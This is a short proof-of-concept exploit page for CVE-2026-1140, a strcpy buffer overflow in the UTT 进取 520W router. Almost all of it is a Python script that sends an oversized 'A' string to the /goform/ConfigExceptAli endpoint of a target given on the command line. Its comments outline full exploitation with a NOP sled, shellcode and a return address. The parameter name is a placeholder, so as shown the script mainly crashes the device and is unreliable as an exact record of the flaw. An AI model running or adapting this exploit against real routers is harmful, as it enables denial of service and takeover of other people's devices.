CVE-2026-1140 UTT 进取520W路由器 strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2026-1140 PoC - UTT 进取 520W Buffer Overflow # Target: /goform/ConfigExceptAli import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://192.168.1.1' # Generate overflow payload (adjust length based on buffer size) overflow_length = 1000 overflow_data = 'A' * overflow_length # Prepare exploit payload payload = { 'param_name': overflow_data # Parameter that triggers strcpy } print(f'[*] Sending exploit to {target}/goform/ConfigExceptAli') print(f'[*] Payload length: {overflow_length}') try: response = requests.post( f'{target}/goform/ConfigExceptAli', data=payload, timeout=10 ) print(f'[+] Request sent, status code: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') # For actual exploitation, replace 'A' * overflow_length with: # - NOP sled # - Shellcode # - Return address pointing to NOP sled # Example: exploit_payload = b'\x90' * 100 + shellcode + b'\x41' * (overflow_length - len(shellcode) - 100)